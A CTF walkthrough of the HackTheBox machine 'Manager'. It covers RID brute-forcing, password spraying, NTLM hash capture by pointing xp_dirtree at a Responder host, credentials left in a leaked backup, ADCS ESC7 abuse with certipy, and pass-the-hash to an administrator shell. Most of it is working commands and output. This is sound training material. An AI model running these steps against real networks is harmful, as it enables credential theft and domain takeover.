index-logo

Manager - HTB

walkthrough by elswix

Machine: Manager
Difficulty: Medium
Platform: HackTheBox
Release: Released on 10/21/2023

About Manager


Manager is a medium-difficulty machine on HackTheBox. Initially, we'll abuse the guest session to perform a RID Bruteforce attack to identify valid users within the Domain Controller. The user "operator" has reused their username as a password, granting us valid credentials over the domain.


Shell as raven


As operator, we connect to the SQL Server using mssqlclient from Impacket. By exploiting the xp_dirtree feature, we discover an intriguing file in the website's root folder. This file contains credentials for the user "raven," and we gain access as them through WinRM.


Shell as administrator


As raven, we possess the ManageCA privilege, enabling us to exploit the Active Directory Certificate Services (ADCS), particularly the ESC7 vulnerability. This vulnerability allows us to obtain a valid certificate for the administrator user, granting us privileged access to the system.


Recon


As always, let's conduct a port scan to discover open ports on the victim machine. To achieve this, I will utilize nmap:


elswix@ubuntu$ nmap 10.10.11.236 --min-rate 10000 -p- -n

Nmap scan report for 10.10.11.236
Host is up (0.14s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49742/tcp open  unknown
50811/tcp open  unknown
51448/tcp open  unknown
52139/tcp open  unknown

It seems to be a domain controller (DC), so we're probably against an active directory environment.


HTTP Service - Port 80


A website is exposed on port 80:



After examining the website, I didn't discover any useful information or potential footholds. Consequently, I began enumerating the SMB service.


SMB Enumeration - Port 445


Let's enumerate the SMB service. This will allow us to obtain some information about the victim machine, such as its operating system, domain, and shared resources.


elswix@ubuntu$ crackmapexec smb 10.10.11.236
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)

It is running Windows 10. Its hostname is DC01, suggesting it may be the domain controller. Since it shows us the domain, let's append it to our hosts file.


elswix@ubuntu$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   ubuntu

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters


10.10.11.236 dc01.manager.htb manager.htb
elswix@ubuntu$

Next, let's check if we can list network-level shared resources. Since we lack credentials, we could attempt to log in to the SMB service using a Null Session.


elswix@ubuntu$ crackmapexec smb 10.10.11.236 --shares
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [-] Error getting user: list index out of range
SMB         10.10.11.236    445    DC01             [-] Error enumerating shares: STATUS_USER_SESSION_DELETED

We received the STATUS_USER_SESSION_DELETED response, indicating that Null Session access is not permitted. This means we are unable to proceed with listing network-level shared resources using this method. However, we could attempt to log in using a Guest Session by specifying only an arbitrary username:


elswix@ubuntu$ crackmapexec smb 10.10.11.236 -u "elswix" -p "" --shares
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\elswix: 
SMB         10.10.11.236    445    DC01             [*] Enumerated shares
SMB         10.10.11.236    445    DC01             Share           Permissions     Remark
SMB         10.10.11.236    445    DC01             -----           -----------     ------
SMB         10.10.11.236    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.236    445    DC01             C$                              Default share
SMB         10.10.11.236    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.236    445    DC01             NETLOGON                        Logon server share 
SMB         10.10.11.236    445    DC01             SYSVOL                          Logon server share

It worked! This confirms that we can use a Guest Session to enumerate the shared resources. However, upon reviewing the output, it's evident that we lack read access to any potentially interesting shared resources.


RID Bruteforce


For a clearer understanding of the attack, I will explain what the RID is.


In Active Directory, each object, including user accounts, has a unique SID (Security Identifier) consisting of a domain SID and a RID. The RID is a part of the SID that is unique within that specific domain. Therefore, if you know a valid RID within a domain, you can combine it with the known domain SID to get a valid SID, which is equivalent to a valid user account in that domain.


The Bruteforce RID technique involves trying to guess or enumerate valid RID values within a domain. This can be done in an automated fashion, trying a number of possible RIDs to see which ones generate valid SIDs. RIDs are typically integer values starting from 1000 and increasing in increments.


To achieve this, I will utilize crackmapexec and specify the --rid-brute parameter. The --rid-brute parameter allows us to perform a brute-force attack on RIDs within the domain.


elswix@ubuntu$ crackmapexec smb 10.10.11.236 -u "elswix" -p "" --rid-brute
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\elswix: 
SMB         10.10.11.236    445    DC01             498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.236    445    DC01             500: MANAGER\Administrator (SidTypeUser)
SMB         10.10.11.236    445    DC01             501: MANAGER\Guest (SidTypeUser)
...[snip]...
SMB         10.10.11.236    445    DC01             1117: MANAGER\JinWoo (SidTypeUser)
SMB         10.10.11.236    445    DC01             1118: MANAGER\ChinHae (SidTypeUser)
SMB         10.10.11.236    445    DC01             1119: MANAGER\Operator (SidTypeUser)

As the output is extensive, I've copied it into a file and applied filters to extract the domain users:


elswix@ubuntu$ cat users.txt
Administrator
Cheng
ChinHae
DC01$
Guest
JinWoo
krbtgt
Operator
Raven
Ryan
Zhong

Since we have valid users within the domain, we could attempt an ASREP-Roast attack to obtain user passwords. ASREP-Roast attacks target Kerberos pre-authentication, with the goal of extracting password hashes from user accounts that do not require pre-authentication.


If you want to understand how this attack works, it's crucial to grasp the Kerberos Authentication Flow. My friend ZaikoARG has written an excellent article about it, which you can find here. I highly recommend taking a look.


For this purpose, I will use the GetNPUsers.py tool from the Impacket suite:


elswix@ubuntu$ GetNPUsers.py manager.htb/ -no-pass -usersfile users.txt
Impacket v0.12.0.dev1+20230909.154612.3beeda7 - Copyright 2023 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Cheng doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ChinHae doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User JinWoo doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User Operator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Raven doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Ryan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Zhong doesn't have UF_DONT_REQUIRE_PREAUTH set

Any of these users has the UF_DONT_REQUIRE_PREAUTH attribute set, so this attack didn't work.


Password Spraying

Sometimes, individuals reuse their usernames as passwords. Therefore, it's important to check if this is the case. With access to valid usernames, we can conduct a password spray to ascertain if they've used these usernames as passwords. To accomplish this, I'll convert my user wordlist to lowercase.


elswix@ubuntu$ cat users.txt
administrator
cheng
chinhae
dc01$
guest
jinwoo
krbtgt
operator
raven
ryan
zhong

Finally, we can utilize crackmapexec to check whether the users reuse their usernames as passwords.


elswix@kali$ crackmapexec smb 10.10.11.236 -u users.txt -p users.txt --continue-on-success --no-bruteforce
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [-] manager.htb\administrator:administrator STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\dc01$:dc01$ STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\guest:guest STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator 
SMB         10.10.11.236    445    DC01             [-] manager.htb\raven:raven STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE

As you can see, the user operator has reused their username as their password. Consequently, we have successfully obtained valid credentials for this user.


Let's verify if the user 'operator' has read access to any interesting shared resources.


elswix@ubuntu$ crackmapexec smb 10.10.11.236 -u operator -p operator --shares
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator 
SMB         10.10.11.236    445    DC01             [*] Enumerated shares
SMB         10.10.11.236    445    DC01             Share           Permissions     Remark
SMB         10.10.11.236    445    DC01             -----           -----------     ------
SMB         10.10.11.236    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.236    445    DC01             C$                              Default share
SMB         10.10.11.236    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.236    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.236    445    DC01             SYSVOL          READ            Logon server share

There aren't any noteworthy shared resources. Occasionally, you might find interesting information in the SYSVOL resource, but that's not the case with this machine.


Let's verify if the user operator belongs to the Remote Management Users group. If so, we could potentially gain access to the system using tools like Evil-WinRM:


elswix@ubuntu$ crackmapexec winrm 10.10.11.236 -u operator -p operator
SMB         10.10.11.236    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:manager.htb)
HTTP        10.10.11.236    5985   DC01             [*] http://10.10.11.236:5985/wsman
HTTP        10.10.11.236    5985   DC01             [-] manager.htb\operator:operator

Unfortunately, attempting WinRM access was unsuccessful. Therefore, there are no further actions to take through WinRM at this point.


As we possess valid credentials, we can proceed with a Kerberoasting Attack. If successful, we may obtain valid credentials for vulnerable users. To execute this, we'll utilize GetUserSPNs.py from the Impacket suite.


elswix@ubuntu$ GetUserSPNs.py manager.htb/operator -dc-ip 10.10.11.236
Impacket v0.12.0.dev1+20230909.154612.3beeda7 - Copyright 2023 Fortra

Password:
No entries found!

There are no users vulnerable to Kerberoasting, so we will continue using the same credentials at this point.


Shell as raven


As we saw during the initial port scan, port 1433 was open. This port corresponds to the MSSQL Service. Perhaps our credentials will enable us to gain access to this service.


elswix@ubuntu$ mssqlclient.py manager.htb/operator:operator@10.10.11.236
Impacket v0.12.0.dev1+20230909.154612.3beeda7 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed for user 'operator'.

At first glance, it didn't work. Let's see what happens if we specify the -windows-auth parameter:


elswix@ubuntu$ mssqlclient.py manager.htb/operator:operator@10.10.11.236 -windows-auth
Impacket v0.12.0.dev1+20230909.154612.3beeda7 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (MANAGER\Operator  guest@master)>

Great! We gained access to the MSSQL Service.


During the enumeration of the MSSQL Service, I didn't find any useful information. However, I noticed that the xp_dirtree command was available, so I thought about some attacks.


The xp_dirtree command allows users to explore and list directories and files on the server's file system. This command can be useful for tasks such as file system navigation and management within SQL Server environments.


In addition to scanning the server's file system, you can attempt to list network-level shares. This essentially means that you could perform network-level authentication against a share, potentially leaking a Net-NTLMv2 hash.


To capture this network-level authentication, I will use the Responder poisoner.


elswix@ubuntu$ /opt/Responder/Responder.py -I tun0 -v
/opt/Responder/Responder.py -I tun0 -v

...[snip]...
[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
...[snip]...
[+] Current Session Variables:
    Responder Machine Name     [WIN-L48LHKM1C40]
    Responder Domain Name      [0991.LOCAL]
    Responder DCE-RPC Port     [47505]

[+] Listening for events...

Next, we will utilize xp_dirtree to initiate a network-level authentication.


SQL (MANAGER\Operator  guest@master)> xp_dirtree \\10.10.16.2\a
subdirectory   depth   file   
------------   -----   ----   
SQL (MANAGER\Operator  guest@master)>

We successfully obtained the Net-NTLMv2 hash:


[SMB] NTLMv2-SSP Client   : 10.10.11.236
[SMB] NTLMv2-SSP Username : MANAGER\DC01$
[SMB] NTLMv2-SSP Hash     : DC01$::MANAGER:86cf6e7938fec1bb:84AB0990D1CF3E4E12197367DB5AC620:0101000000000000803540BD9274DA01253208077D4D230A0000000002000800300039003900310001001E00570049004E002D004C00340038004C0048004B004D00310043003400300004003400570049004E002D004C00340038004C0048004B004D0031004300340030002E0030003900390031002E004C004F00430041004C000300140030003900390031002E004C004F00430041004C000500140030003900390031002E004C004F00430041004C0007000800803540BD9274DA0106000400020000000800300030000000000000000000000000300000BE1467459C7019954C2A28FDD4C4F683F9DD2AA7BA11D950819CCCCBB070B8750A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0032000000000000000000

Unfortunately, this hash proved to be uncrackable, rendering it useless at this point. Although we can't abuse xp_dirtree to obtain credentials, it may still enable us to list the server's file system.


Let's attempt to list the directories in the system root:


SQL (MANAGER\Operator  guest@master)> EXEC xp_dirtree "C:\",1,1
subdirectory                depth   file   
-------------------------   -----   ----   
$Recycle.Bin                    1      0   

Documents and Settings          1      0   

inetpub                         1      0   

PerfLogs                        1      0   

Program Files                   1      0   

Program Files (x86)             1      0   

ProgramData                     1      0   

Recovery                        1      0   

SQL2019                         1      0   

System Volume Information       1      0   

Users                           1      0   

Windows                         1      0   

SQL (MANAGER\Operator  guest@master)>

Indeed, we have successfully obtained directory listing over the filesystem.


While enumerating the filesystem, I discovered the root folder of the website exposed on port 80:


SQL (MANAGER\Operator  guest@master)> EXEC xp_dirtree "C:\inetpub\wwwroot",1,1
subdirectory                      depth   file   
-------------------------------   -----   ----   
about.html                            1      1   

contact.html                          1      1   

css                                   1      0   

images                                1      0   

index.html                            1      1   

js                                    1      0   

service.html                          1      1   

web.config                            1      1   

website-backup-27-07-23-old.zip       1      1   

SQL (MANAGER\Operator  guest@master)>

This is quite intriguing. As you may have noticed, there is a compressed file in the root folder with the word backup in its name. Let's take a closer look at it.


Since it's exposed in the root folder of the website, we can attempt to download it using wget.


elswix@ubuntu$ wget http://10.10.11.236/website-backup-27-07-23-old.zip
--2024-03-13 07:56:32--  http://10.10.11.236/website-backup-27-07-23-old.zip
Connecting to 10.10.11.236:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: website-backup-27-07-23-old.zip

website-backup-27-07-23-old.zip  100%[=======================================================>]   1021K   315KB/s    in 3,2s    

2024-03-13 07:56:36 (315 KB/s) - website-backup-27-07-23-old.zip saved [1045328/1045328]
elswix@ubuntu$

Once downloaded, I'll extract it using unzip:


elswix@ubuntu$ unzip -d backup website-backup-27-07-23-old.zip
Archive:  website-backup-27-07-23-old.zip
  inflating: backup/.old-conf.xml    
  inflating: backup/about.html       
  inflating: backup/contact.html     
  inflating: backup/css/bootstrap.css  
...[snip]...
 extracting: backup/images/s-4.png   
 extracting: backup/images/search-icon.png  
  inflating: backup/index.html       
  inflating: backup/js/bootstrap.js  
  inflating: backup/js/jquery-3.4.1.min.js  
  inflating: backup/service.html
elswix@ubuntu$

Upon examining the files, I found the .old-conf.xml file intriguing. Upon inspecting its contents, I discovered the following:


elswix@ubuntu$ cat .old-conf.xml
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>
elswix@ubuntu$

Contained within are credentials for the user 'Raven'. Let's validate them using crackmapexec.


elswix@ubuntu$ crackmapexec smb 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123

They work! We've obtained valid credentials for Raven. Let's verify if raven has WinRM access.


elswix@ubuntu$crackmapexec winrm 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
SMB         10.10.11.236    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:manager.htb)
HTTP        10.10.11.236    5985   DC01             [*] http://10.10.11.236:5985/wsman
HTTP        10.10.11.236    5985   DC01             [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)

As observed, Raven has WinRM access. This means that using tools like Evil-WinRM, we could potentially gain access to the system as Raven.


elswix@ubuntu$ evil-winrm -i 10.10.11.236 -u 'raven' -p 'R4v3nBe5tD3veloP3r!123'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents>

We've successfully gained access to the system. We can read user.txt in the desktop directory.


*Evil-WinRM* PS C:\Users\Raven\Documents> type ..\Desktop\user.txt
448e2**********************0f8d1
*Evil-WinRM* PS C:\Users\Raven\Documents>

As Raven, we lack potentially interesting token privileges:


*Evil-WinRM* PS C:\Users\Raven\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\Raven\Documents>

Shell as administrator


As this machine operates with ADCS (Active Directory Certificate Services):


elswix@ubuntu$ crackmapexec ldap 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123' -M adcs
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.236    389    DC01             [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 
ADCS        10.10.11.236    389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS                                                Found PKI Enrollment Server: dc01.manager.htb
ADCS                                                Found CN: manager-DC01-CA

We could attempt to exploit it. There are various techniques to exploit ADCS, but first, we need to determine which technique we should use.


Firstly, let's search for vulnerable templates using certipy:


elswix@ubuntu$ certipy find -vulnerable -stdout -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
...[snip]...
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates

It couldn't find any vulnerable certificate templates, but it mentions something interesting: Raven has dangerous permissions. This potentially means that Raven may have ManageCA privileges (ESC7).


We can attempt to exploit this vulnerability from both Linux and Windows. Let me guide you through the process specifically from Linux.


ADCS Exploitation - ESC7


To abuse this from Linux, we'll utilize certipy. You can install it from PyPi using the following command:


elswix@ubuntu$ pip install certipy-ad

Requirements:


  • Possession of only the ManageCA permission.
  • Possession of the Manage Certificates permission (can be granted via ManageCA).
  • The SubCA certificate template must be enabled (can be enabled via ManageCA).

This method takes advantage of certain permissions that allow users to manage certificates (ManageCA). There's a type of certificate called "SubCA" that has a vulnerability (ESC1), but only administrators are allowed to request it. However, a regular user can ask for the "SubCA" certificate, get denied at first, but then the request can be approved by the manager, giving the user access they shouldn't have.


You can read more in HackTricks.


First, we must enable the 'Manage Certificates' privilege. We can do this by adding our user as a new officer:


elswix@ubuntu$ certipy ca -ca 'manager-DC01-CA' -add-officer raven -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

Great! Now we have to enable the SubCA template.


elswix@ubuntu$ certipy ca -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -target-ip dc01.manager.htb -ca 'manager-DC01-CA' -enable-template 'SubCA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'

Once we have successfully enabled the SubCA template, we need to request a certificate based on it. Although the request will be denied, we will save the private key and take note of the request ID:


elswix@ubuntu$ certipy req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target dc01.manager.htb -template SubCA -upn administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 15
Would you like to save the private key? (y/N) y
[*] Saved private key to 15.key
[-] Failed to request certificate

Taking advantage of our ManageCA and Manage Certificates privileges, we can then issue the failed certificate with the ca command and the -issue-request <request ID> parameter:


elswix@ubuntu$ certipy ca -ca 'manager-DC01-CA' -issue-request 15 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

Finally, we can retrieve the issued certificate with the req command and the -retrieve <request ID> parameter:


elswix@ubuntu$ certipy req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target dc01.manager.htb -retrieve 15
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 15
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '15.key'
[*] Saved certificate and private key to 'administrator.pfx'

Now, with this certificate, you can utilize tools like gettgtpkinit.py, PassTheCert, and more, as well as the auth parameter of certipy:


elswix@ubuntu$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

As indicated, an error occurred. The KRB_AP_ERR_SKEW error suggests that we need to synchronize our clock with the Domain Controller. You can accomplish this by using ntpdate:


elswix@ubuntu$ ntpdate 10.10.11.236
13 Mar 15:57:41 ntpdate[32443]: step time server 10.10.11.236 offset +25198.195972 sec
elswix@ubuntu$

Finally, the authentication should be successful:


elswix@ubuntu$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

As observed, it retrieved the NTLM hash for the administrator user. This indicates that using the Pass-the-Hash technique, we could authenticate as the administrator user.


elswix@ubuntu$ crackmapexec smb 10.10.11.236 -u administrator -H 'ae5064c2f62317332c88629e025924ef'
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\administrator:ae5064c2f62317332c88629e025924ef (Pwn3d!)

It worked! So now, using Evil-WinRM, we can gain access to the system as administrator.


elswix@ubuntu$ evil-winrm -i 10.10.11.236 -u administrator -H 'ae5064c2f62317332c88629e025924ef'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
manager\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Finally, we can read root.txt:


*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
a4b67**********************5a1cb
*Evil-WinRM* PS C:\Users\Administrator\desktop>